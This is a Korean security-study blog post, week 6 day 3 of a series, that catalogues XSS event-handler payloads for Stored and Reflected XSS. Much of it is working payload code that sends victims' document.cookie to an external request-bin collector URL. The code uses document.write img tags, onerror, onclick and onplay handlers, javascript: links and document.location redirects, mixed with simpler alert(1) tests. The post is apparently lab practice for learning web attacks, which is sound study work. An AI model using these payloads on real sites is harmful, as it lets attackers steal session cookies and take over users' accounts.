wonder
정보보안 스터디 - 6주차 3일 - XSS 이벤트 핸들러 종류 본문
세션을 다른 사이트에 보내려면 location 또는 document.write를 이용하여
쿠키를 Request bin URL으로 전달해야합니다.
https://eooszq17y6k3gcf.m.pipedream.net
Stored XSS
글 작성을 했을 때 Burp suite의 응답에서는 작성했던 글 제목, 내용의 파라미터값이 안뜨기 때문에 <" '>가 필터링 되는지 안되는지 정확하게 알기 어렵습니다.
그걸 감안하고 직접 <script>alert(1);</script>을 작성해줍니다. 알림창이 떠서 정상적으로 삽입된 것을 확인할 수 있습니다.
alert가 가능하다는 것은 다른 script태그은 물론 html 삽입이 가능하다는 뜻입니다.
태그종류
그럼 이제 어떤 공격을 할지 생각해봐야하는데
1. 기본적으로 script태그 안에다가 넣는 document.write가 있습니다.
1
2
3
|
<script>
document.write('<img src="https://eooszq17y6k3gcf.m.pipedream.net/?'+document.cookie+' "/>');
</script>
|
cs |
여기서 ' ', " ", +, 는 빼먹지 않고 잘 준수해줘야합니다.
이렇게 script 태그가 작동하는 제목에 삽입해주고
어느 유저가 클릭하면 자동으로 자기의 URL사이트에 세션값을 붙여서 GET방식으로 보내게 됩니다.
URL사이트는 GET방식으로 받아 세션값을 저장해둡니다.
세션을 잘 받아 왔습니다.
2. 두번째 방법으로는 이미지 등 html 태그에 이벤트 핸들러와 함께 삽입하는 방식입니다.
이벤트 핸들러는 자바스크립트로 인식하기 때문에 " " 나 ; 를 필수적으로 쓸 필요는 없습니다.
1
2
|
<img src="x" onerror=alert(1)>
<img src="x" onerror="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;">
|
cs |
본격적으로 세션탈취 전에 테스트로 먼저 에러가 발생했을 시 알림창을 띄우기를 시도합니다.
에러가 발생했을 때 세션과함께 URL사이트로 이동시키는 방식입니다.
에러가 뜨자마자 바로 잘 작동합니다.
3. a 링크를 url처리에서 자바스크립트 처리로 바꾸기
1
|
<a href="javascript:document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;">TEST</a>
|
cs |
몇몇은 javascript처리로도 작동이 가능합니다.
이런식으로 삽입할 수 있는
html 태그의 종류도 많고
이벤트핸들러의 종류도 매우 많습니다.
input 태그, onfocus 이벤트 핸들러
1
2
|
<input type="text" onfocus="alert(1)" placeholder="클릭하시오" autofocus>
|
cs |
입력폼에 포커스를 하면 알림창이 뜹니다. 자동으로 포커싱이 돼서 들어가자마자 작동합니다.
img 태그, onclick 이벤트 핸들러
1
2
|
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk"
onclick="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie;" />
|
cs |
이미지를 클릭하면 스크립트가 작동됩니다.
audio태그, onplay 이벤트 핸들러
1
|
<audio controls src="https://samplelib.com/lib/preview/mp3/sample-3s.mp3" onplay="document.location='https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie; "></audio>
|
cs |
audio를 실행하면 스크립트가 작동됩니다.
div 태그
1
|
<div id=x tabindex=1 onfocus=alert(1)>테스트</div>
|
cs |
div 부분을 클릭했을 때 작동합니다.
object 태그
소스가 로드되었을 때 바로 실행됩니다.
svg 태그
1
|
<svg onload=alert(1)></svg>
|
cs |
img 태그, onmouseover 이벤트 핸들러
1
2
|
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk"
onmouseover=alert(1)>
|
cs |
마우스를 올렸을 때 작동합니다.
img 태그, onkeypress 이벤트 핸들러
1
2
|
<img src="https://i.picsum.photos/id/68/200/200.jpg?hmac=CPg7ZGK1PBwt6DmjjPRApX_t-mOiYxt0pel50VH4Gwk"
onkeypress="alert(1)" contenteditable style=display:block>
|
cs |
키보드를 눌렀을 때 작동합니다.
h1 태그, oncopy 이벤트 핸들러
1
|
<h1 oncopy=alert(1)>복사하시오</h1>
|
cs |
복사했을 때 작동합니다.
참고로 셋다 문법적으로 가능합니다.
1
2
3
4
5
6
7
8
9
|
<script>
document.location="https://eooszq17y6k3gcf.m.pipedream.net?"+document.cookie;
</script>
<script>
document.location.href="https://eooszq17y6k3gcf.m.pipedream.net?"+document.cookie;
</script>
<script>
document.location.replace('https://eooszq17y6k3gcf.m.pipedream.net?'+document.cookie);
</script>
|
cs |
Reflected XSS
Reflected XSS도 마찬가지로 변수에 대해서 반응하는 부분을 찾습니다.
검색기능에서 스크립트를 삽입할 수 있으니
alert('1');
페이로드;
형식으로 만들어주고 뒤에는 주석처리해줍니다.
post방식으로 검색하는거지만 사실상 URL로 접근하는 get방식과 같은 것이기 때문에
get방식으로 바꾼 후 URL에 붙여넣어 스크립트를 실행시켜줍니다.
'hacking study > XSS' 카테고리의 다른 글
문자, 기호가 없이도 XSS 가능한 방법 (0) | 2022.12.02 |
---|---|
정보보안 스터디 - 6주차 4일 - XSS CTF 연습 (0) | 2022.11.21 |
정보보안 스터디 - 6주차 1일 - XSS 필터링 우회방법 (0) | 2022.11.18 |
정보보안 스터디 - 5주차 7일 - XSS 공격 시나리오 / 실사례 (0) | 2022.11.17 |
정보보안 스터디 - 5주차 2일 - Reflected XSS (0) | 2022.11.12 |